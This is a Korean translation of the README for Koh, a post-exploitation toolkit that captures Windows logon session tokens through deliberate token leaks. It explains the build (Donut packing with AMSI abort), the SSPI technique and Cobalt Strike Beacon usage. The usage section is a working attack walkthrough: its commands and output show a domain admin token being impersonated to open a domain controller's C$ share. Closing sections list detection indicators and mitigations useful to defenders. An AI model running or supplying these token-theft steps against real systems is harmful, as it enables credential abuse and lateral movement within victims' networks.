
토큰 누출을 통해 Windows 로그온 세션 토큰을 캡처하여 자격 증명 재사용 및 가장을 가능하게 하며, Cobalt Strike BOF 통합을 통해 사후 공격 토큰 도용을 지원합니다.
Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C# 및 BOF(Beacon Object File) 도구 모음입니다.
일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트(라이선스 없음)와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요.
Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요.
@harmj0y가 이 코드 베이스의 주 저자입니다. @tifkin_은 접근 방식, BOF 구현 및 일부 토큰 메커니즘에 도움을 주었습니다.
Koh는 BSD 3-Clause 라이선스에 따라 사용이 허가됩니다.
Koh "서버"는 토큰을 캡처하며 제어/통신을 위해 명명된 파이프를 사용합니다. 이는 Donut으로 감싸서 높은 무결성 SYSTEM 프로세스에 주입할 수 있습니다 (인라인 장난 버그 참조).
Koh의 바이너리 배포는 계획하지 않고 있으므로 직접 컴파일해야 합니다 :)
Koh는 .NET 4.7.2를 대상으로 빌드되었으며 Visual Studio 2019 Community Edition과 호환됩니다. 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하면 됩니다. Koh.exe 어셈블리와 Koh.bin Donut 빌드 PIC가 메인 디렉토리에 출력됩니다. Donut blob은 x86/x64 모두 호환되며, ./Misc/Donut.exe에 있는 Donut v0.9.3을 사용하여 다음 옵션으로 빌드됩니다:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
Donut의 라이선스는 BSD 3-clause입니다.
### 사용법
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - (네트워크가 아닌) 로그온 세션을 나열합니다
* **monitor** - 새로운/고유한 (네트워크가 아닌) 로그온 세션을 모니터링합니다
* **capture** - 새로운 (네트워크가 아닌) 로그온 세션에 대해 발견된 SID당 하나의 고유한 토큰을 캡처합니다
그룹 SID는 명령줄에서도 제공할 수 있으며, Koh가 협상된 토큰 정보에 지정된 그룹 SID를 포함하는 로그온 세션만 모니터링/캡처하도록 합니다.
### 예제 - 로그온 세션 나열```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
토큰 정보에 domain admins (-512) 그룹 SID가 포함된 결과만 나열합니다:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh 클라이언트
현재 사용 가능한 클라이언트는 `.\Clients\BOF\`에 있는 Beacon Object File입니다. `.\Clients\BOF\KohClient.cna` 공격자 스크립트를 Cobalt Strike 클라이언트에 로드하여 Koh 서버의 BOF 제어를 활성화하십시오. 캡처된 토큰을 사용하기 위한 유일한 요구 사항은 **SeImpersonatePrivilege**입니다. 통신 명명된 파이프에는 'Everyone' DACL이 있지만 기본 공유 암호(매우 안전함)를 사용합니다.
Linux에서 Mingw를 사용하여 새로 컴파일하려면 `.\Clients\BOF\build.sh` 스크립트를 참조하십시오. 유일한 요구 사항(적어도 Debian의 경우)은 `apt-get install gcc-mingw-w64`여야 합니다.
### 사용법```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
koh filter add S-1-5-21-<DOMAIN>-<RID> 명령은 제공된 그룹 SID를 포함하는 토큰만 캡처합니다. 이 명령은 여러 번 실행하여 캡처할 추가 SID를 추가할 수 있습니다. 이는 많은 수의 토큰 누출로 인한 잠재적인 안정성 문제를 방지하는 데 도움이 됩니다.
"Captures"는 새 각 세션에 대해 사용 가능한 토큰을 협상하여 로그온 세션을 캡처합니다.
서버:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF 클라이언트:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
시스템에 새 로그온 세션이 설정되면, LSASS는 NtCreateToken() API 호출을 사용하여 로그온 세션에 대한 새 토큰을 생성하고 LsaLogonUser() 호출자에게 반환합니다. 이렇게 하면 로그온 세션 커널 구조의 ReferenceCount를 증가시킵니다 필드가 증가합니다. ReferenceCount가 0이 되면 로그온 세션이 소멸됩니다. Why This Is Possible 섹션에서 설명된 정보로 인해, Windows 시스템은 토큰 핸들이 여전히 존재하는 경우(따라서 참조 카운트가 0이 아님) 로그온 세션을 해제하지 않습니다. 따라서 새로 생성된 로그온 세션에 대한 핸들을 토큰을 통해 얻을 수 있다면, 해당 로그온 세션을 열린 상태로 유지하고 나중에 해당 토큰을 가장하여 포함된 캐시된 자격 증명을 활용할 수 있습니다.
Microsoft 엔지니어의 이 게시물에 따르면:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111)은 Windows 7/Server 2008까지 적용되었으므로, 이 접근 방식은 Server 2003 시스템을 제외한 모든 시스템에서 효과적이어야 합니다.
## 접근 방식
로그온 세션을 열거하는 것은 (권한 상승 컨텍스트에서) [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API를 사용하여 쉽습니다. 더 어려운 것은 특정 로그온 세션 식별자(LUID)를 가져와서 그 세션에 연결된 사용 가능한 토큰을 _어떤 방식으로든_ 얻는 것입니다.
### 가능한 접근 방식
새 로그온 세션을 유지하고 이를 토큰 가장/캐시된 자격 증명 사용에 악용할 수 있는 몇 가지 방법을 브레인스토밍했습니다.
1. 첫 번째 접근 방식은 로그온 세션 ID(LUID)를 지정하여 새 토큰을 생성할 수 있는 **NtCreateToken()**을 사용하는 것이었습니다.
* 불행히도, 전통적으로 LSASS만 보유하고 있는 **SeCreateTokenPrivilege**가 필요하므로, LSASS의 토큰을 도용해야 하는데 이는 이상적이지 않습니다.
* 한 가지 가능성은 LSA 정책 수정을 통해 NT AUTHORITY\SYSTEM에 **SeCreateTokenPrivilege**를 추가하는 것이었지만, 새 사용자 권한을 적용하려면 재부팅/새 로그온 세션이 필요합니다.
2. 또한 **WTSQueryUserToken()**을 사용하여 복제할 새 데스크톱 세션의 토큰을 가져와 RemoteInteractive 로그온 세션에만 집중할 수도 있습니다.
* 이것은 분명히 [Ryan이 시연한](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) 접근 방식입니다.
* 불행히도 이는 새로 생성된 로컬 세션과 PSEXEC 같은 것들로 생성된 들어오는 세션을 놓칩니다.
3. 새 로그온 세션에서, 접근 가능한 모든 프로세스에 대한 핸들을 열고 모든 기존 핸들을 열거하여 새 로그온 세션에 연결된 토큰을 복제합니다.
* 이렇게 하면 많은 프로세스/핸들을 열어야 하므로 매우 의심스러워 보입니다.
4. 아래 설명된 **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** 접근 방식이며, 우리가 선택한 방법입니다.
### 우리의 접근 방식
SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) 호출에는 다음과 같이 명시된 **pvLogonID** 필드가 있습니다:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
참고: **AcquireCredentialsHandle()**와 함께 로그온 세션 LUID를 사용하려면 SeTcbPrivilege가 필요하지만, 이는 일반적으로 SeCreateTokenPrivilege보다 얻기 쉽습니다.
이 호출을 로그온 세션 ID/LUID를 지정하면서 사용하면 로그온 세션 구조의 ReferenceCount가 증가하여 해제되지 못하게 되는 것으로 보입니다. 그러나 또 다른 문제가 발생합니다: "유출된"/열려 있는 로그온 세션이 주어졌을 때, 어떻게 사용 가능한 토큰을 얻을 수 있을까요? **WTSQueryUserToken()**은 데스크톱 세션에서만 작동하며, LUID를 사용 가능한 토큰에 매핑할 수 있는 사용자 영역 API는 찾을 수 없었습니다.
그러나 두 가지 추가 SSPI 함수인 InitializeSecurityContext()와 AcceptSecurityContext()를 사용하여 클라이언트와 서버 역할을 우리 자신에게 수행하고, 새로운 보안 컨텍스트를 협상한 다음 QuerySecurityContextToken()을 사용하여 사용 가능한 토큰을 얻을 수 있습니다. 이는 자격 증명 유효성 검사를 목적으로 KB180548에 문서화되었습니다(PKISolutions에 의해 여기에 미러링됨). 이는 Internal-Monologue와 유사한 접근 방식이지만, 전체 핸드셰이크 프로세스를 완료하고 토큰을 생성한 후 나중에 사용하기 위해 보관한다는 차이점이 있습니다.
이후에는 CheckTokenMembership() 또는 GetTokenInformation()을 통해 토큰 자체에 대한 필터링을 수행할 수 있습니다. 예를 들어, 도메인 관리자 또는 대상으로 삼고자 하는 특정 그룹에 속한 토큰을 제외하고 모든 토큰을 해제할 수 있습니다.
저는 꽤 오랜 시간 코딩을 해왔습니다. 이것은 꽤 오랜만에 겪은 이상하고 추적하기 어려운 버그 중 하나입니다. 도움을 부탁드립니다 ㅋㅋ
execute-assembly로 상승된(SYSTEM이 아닌) 컨텍스트에서 실행되면 모든 것이 정상적으로 작동합니다.SEC_E_NO_CREDENTIALS로 실패하고 모든 것이 실패합니다 ¯\_(ツ)_/¯우리는 다음과 같은 방법을 시도했지만 성공하지 못했습니다:
모든 의도와 목적에 있어, 이 컨텍스트에서 AcquireCredentialsHandle 호출 직전의 스레드 컨텍스트는 정상적으로 작동하지만 결과는 오류를 반환합니다. 그리고 그 이유를 전혀 모릅니다.
이것이 무엇일지 생각나시면 알려주세요! 더 간단한 어셈블리로 실험해보고 싶다면, 제 GitHub의 AcquireCredentialsHandle 저장소를 확인해보세요.
@tifkin_의 말을 인용하자면 "누군가가 찾기 전까지는 모든 것이 은밀하다." Koh의 접근 방식은 다른 것들과 약간 다르지만, 여전히 탐지에 사용할 수 있는 IOCs가 있습니다.
C# Koh 수집기의 고유 TypeLib GUID는 이 저장소의 Koh.yar Yara 규칙에 명시된 대로 4d5350c8-7f8c-47cf-8cde-c752018af17e입니다. 컴파일 시 변경되지 않으면 Koh 서버의 매우 높은 신뢰도의 지표가 될 것입니다.
Koh 서버가 시작되면 \\.\pipe\imposecost라는 명명된 파이프를 열어 Koh가 실행되는 동안 열려 있습니다. Koh 통신에 사용되는 기본 비밀번호는 password이므로, \\.\pipe\imposecost 파이프에 password list를 보내면 Koh가 실제로 실행 중인지 확인할 수 있습니다. 사용되는 기본 가장 파이프는 \\.pipe\imposingcost입니다.
Koh가 상승된 컨텍스트에서 시작되지만 SYSTEM이 아닌 경우, winlogon의 핸들/토큰 복제본을 수행하여 getsystem 유형의 권한 상승을 수행합니다.
공격자들이 위에서 언급한 지표를 변경하지 않을 것이라고 확신합니다.
토큰 캡처와 관련된 일부 RPC 아티팩트가 있을 수 있으며, 이를 조사할 예정입니다. 이와 관련된 추가 탐지 아티팩트를 발견하면 README의 이 섹션을 업데이트하겠습니다. Koh에서 사용하는 드문 API(LsaEnumerateLogonSessions 또는 특히 AcquireCredentialsHandle에서 LUID를 사용하는 AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext)를 후킹하는 것도 효과적일 수 있지만, 아쉽게도 저는 EDR이 아닙니다.
Koh: The Token Stealer 게시물을 게시한 후, @cnotin과 @SteveSyfuhs 사이에 이 접근 방식에 대한 부분적인 완화책이 될 수 있는 훌륭한 대화가 있었습니다.
KB2871997 패치는 TokenLeakDetectDelaySecs 설정을 도입했으며, 이는 "...로그오프한 사용자의 모든 자격 증명을 지우는" 것을 트리거합니다. 실제로 기본적으로 "Protected Users Security Group"의 구성원은 레지스트리 설정과 관계없이 이 동작이 적용됩니다. 그러나 이 값을 0이 아닌 값으로 설정하면 사용자가 로그오프할 때 메모리에서 모든 자격 증명이 지워집니다. 특히 Steve가 언급한 대로: 설정되면 세션의 *대화형* 로그오프 이벤트에서 타이머를 시작하고, 타이머가 만료되면 여전히 연결된 모든 것을 제거합니다. 기본적으로 꺼져 있습니다. Protected Users는 항상 켜져 있으며 기본값은 30초입니다.
위 문단에서 중요한 점은 "로그오프 이벤트"와 "대화형"이라는 두 가지입니다. 이로 인해 사용자의 자격 증명이 지워지지 않는 상황이 발생할 수 있습니다:
runas 또는 runas /netonly 유형의 스폰 등을 통해 자격 증명이 존재하는 경우, 프로세스가 중지될 때 로그오프 이벤트가 없으므로 자격 증명/토큰을 계속 캡처할 수 있습니다.(NetworkClearText와 같은 다른 로그온 상황도 테스트해야 합니다.)
그러나 사용자가 "Protected Users Security Group"에 속해 있거나 TokenLeakDetectDelaySecs가 0이 아닌 값으로 설정되어 있고, 사용자가 대화형 또는 원격 대화형(RDP) 세션에서 적극적으로 로그오프하면 자격 증명이 지워집니다. Koh가 이러한 특정 상황을 더 잘 처리하도록 프로그래밍해야 합니다.
TL;DR 민감한 사용자에게는 "Protected Users Security Group"을 사용하고, 환경에서 TokenLeakDetectDelaySecs를 30과 같은 값으로 설정할 수 있는지 확인해야 합니다.